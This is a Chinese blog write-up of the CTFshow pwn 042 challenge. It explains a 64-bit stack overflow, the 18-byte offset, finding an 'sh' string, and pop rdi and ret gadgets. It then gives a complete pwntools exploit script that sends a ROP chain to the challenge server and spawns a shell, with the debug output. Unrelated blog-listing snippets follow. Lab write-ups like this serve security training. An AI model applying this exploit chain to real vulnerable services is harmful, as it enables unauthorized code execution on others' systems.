news 2026/4/17 13:03:04

【CTFshow-pwn系列】03_栈溢出【pwn 042】详解:64位下的字符串搜寻与 ROP

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【CTFshow-pwn系列】03_栈溢出【pwn 042】详解:64位下的字符串搜寻与 ROP

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡中,我们分别学习了:

  • pwn 040:64 位环境下的 ROP,利用pop rdi传参调用system("/bin/sh")
  • pwn 041:当没有/bin/sh时,寻找"sh"字符串作为替代。

来到PWN 042,题目将这两个考点结合在了一起:64 位环境 + 缺少/bin/sh。我们需要综合运用之前的知识,完成这道进阶版的拼图。

pwn 042 综合演练:64位 ROP 拼图升级版

题目信息与环境侦察

题目描述

pwn42: Hint: It has system, but don't have '/bin/sh'. Find something to replace it!

运行一下程序

解题过程:首先使用checksec检查程序保护情况。

Arch:amd64-64-little(64位程序)

  • RELRO:Partial RELRO
  • Stack:No canary found(无栈哨兵)
  • NX:NX enabled(栈不可执行)
  • PIE:No PIE(地址固定)

侦察分析

  1. 64位架构:参数必须通过寄存器(RDI)传递。
  2. NX 开启:必须使用 ROP。
  3. No PIE:Gadget 和字符串地址是固定的。

第一部分:代码审计与漏洞挖掘

1. 静态分析 (IDA Pro)

Main 函数:

int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); logo(); puts("Hint: It has system, but don't have '/bin/sh'..."); ctfshow(); // [漏洞点] puts("\nExit"); return 0; }

漏洞函数 ctfshow:

ssize_t ctfshow() { _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF // [漏洞点]:read 读取 50 (0x32) 字节 // 50 > 10,存在栈溢出 return read(0, buf, 0x32u); }

偏移量计算: 根据 IDA 注释[rbp-Ah]

  • buf距离rbp的偏移是0xA(10 字节)。
  • 64 位下Old RBP占 8 字节。
  • 覆盖返回地址所需长度 =10(buf) +8(Old RBP) =18 字节

2. 寻找拼图零件

题目提供了两个辅助函数,这不仅是提示,更是我们的“弹药库”:

hint 函数:

__int64 hint() { system("echo flag"); // 提供了 system 函数的 PLT 地址 return 0; }

useful 函数:

int useful() { return printf("sh"); // 提供了 "sh" 字符串 }

第二部分:解题思路与 Payload 构造

1. 核心思路

我们需要调用system("sh")。 在 64 位下,这意味着:

  1. 将字符串"sh"的地址放入RDI寄存器。
  2. 调用system函数。
  3. 注意栈对齐 (Stack Alignment)问题。

2. 搜集地址与 Gadgets

我们需要的零件清单:

  1. system 地址elf.sym['system']
  2. “sh” 地址next(elf.search(b'sh'))
  3. pop rdi; ret:用于将栈上的 “sh” 地址弹入 RDI。
  4. ret:用于对齐栈(防止system中的movaps崩溃)。

3. Payload 结构解析

+----------------------+ | Padding (18 bytes) | +----------------------+ | pop rdi; ret 地址 | <-- 覆盖返回地址,跳转到这里 +----------------------+ | "sh" 的地址 | <-- pop rdi 执行时,RDI = "sh" +----------------------+ | ret 地址 | <-- 空转指令,用于栈对齐 +----------------------+ | system 的地址 | <-- 调用 system("sh") +----------------------+

第三部分:实战操作

编写 Python 脚本进行自动化攻击。

from pwn import * # 1. 基础配置 context.log_level = 'debug' context.arch = 'amd64' # 2. 建立连接 # io = process('./pwn') io = remote('pwn.challenge.ctf.show', 28183) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf = ELF('./pwn') # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr = elf.plt['system'] log.success(f"System Address: {hex(system_addr)}") # [零件2] "sh" 字符串地址 # 搜索包含 "sh\x00" 或者单纯 "sh" 的地址 try: sh_addr = next(elf.search(b'sh')) log.success(f"'sh' Address: {hex(sh_addr)}") except StopIteration: log.error("String 'sh' not found!") # [零件3] Gadgets # 使用 ROP 模块自动寻找,或者使用 ROPgadget 工具手动查找 # ROPgadget --binary pwn --only "pop|ret" | grep rdi rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] log.success(f"pop rdi; ret: {hex(pop_rdi)}") log.success(f"ret: {hex(ret)}") # 5. 构造 Payload # 偏移量 = 10 (buf) + 8 (rbp) = 18 offset = 18 payload = flat([ b'a' * offset, # 1. 填充 pop_rdi, # 2. RDI = ... sh_addr, # 3. "sh" 字符串地址 ret, # 4. 栈对齐 (防止 movaps 崩溃) system_addr # 5. system("sh") ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()

运行结果

[DEBUG] Sent 0x2a bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 43 08 40 00 00 00 00 00 72 08 40 00 00 00 │aaC·│@···│··r·│@···│ 00000020 00 00 3e 05 40 00 00 00 00 00 50 05 40 00 00 00 │··>·│@···│··P·│@···│ 00000030 00 00 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}

总结:PWN 042 的核心逻辑

维度PWN 040 (基础 64位 ROP)PWN 042 (进阶 64位 ROP)
目标system("/bin/sh")system("sh")
字符串直接给出/bin/sh需搜索sh
Gadgetpop rdi; retpop rdi; ret
栈对齐需注意需注意 (添加 ret gadget)

核心启示: 这道题再次强调了“环境适应性”

  • 架构变了(64位),我们就用寄存器传参。
  • 字符串变了(没了/bin/sh),我们就搜sh
  • 栈不对齐了(Crash),我们就加ret

只要掌握了这些基本原理,无论题目形式如何变化,我们都能找到解题的路径。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 6:31:29

34-学习笔记尚硅谷数仓搭建-DWS层最近一日汇总表建表语句汇总

目录 一、交易域用户商品粒度订单最近1日汇总表 二、交易域用户粒度订单最近1日汇总表 三、交易域用户粒度加购最近1日汇总表 四、交易域用户粒度支付最近1日汇总表 五、交易域省份粒度订单最近1日汇总表 六、工具域用户优惠券粒度优惠券使用(支付)最近1日汇总表 七、互动…

作者头像 李华
网站建设 2026/4/18 2:43:53

小程序毕设项目:基于springboot+小程序的高校毕业生服务管理系统小程序(源码+文档,讲解、调试运行,定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/17 7:01:07

我有 8种从 Spring中获取 Bean的方式!

1、在初始化时保存ApplicationContext对象 适用于Spring框架的独立应用程序&#xff0c;须要程序通过配置文件初始化Spring。 applicationContext.xml配置&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.…

作者头像 李华
网站建设 2026/4/7 21:30:52

【计算机毕业设计案例】基于springboot+小程序的个性化食谱推荐系统小程序于微信小程序的健康饮食推荐系统(程序+文档+讲解+定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/16 1:43:05

【GitHub项目推荐--AI自动生成小说:智能创作生产力工具】⭐⭐⭐

功能速览 思维导图.png 可拖拽的思维导图 智能按照句子、段落、字符数智能切割 和预览 设定好分数和迭代次数 完整功能界面&#xff0c;支持多种智能写作辅助功能 智能右键润色功能 智能AI右键润色功能 AI智能书名生成功能展示 AI智能简介生成功能展示 简介 AI自动生成小说是…

作者头像 李华
网站建设 2026/4/1 11:00:13

【毕业设计】基于springboot+小程序的自助停车缴费系统小程序的设计与实现(源码+文档+远程调试,全bao定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华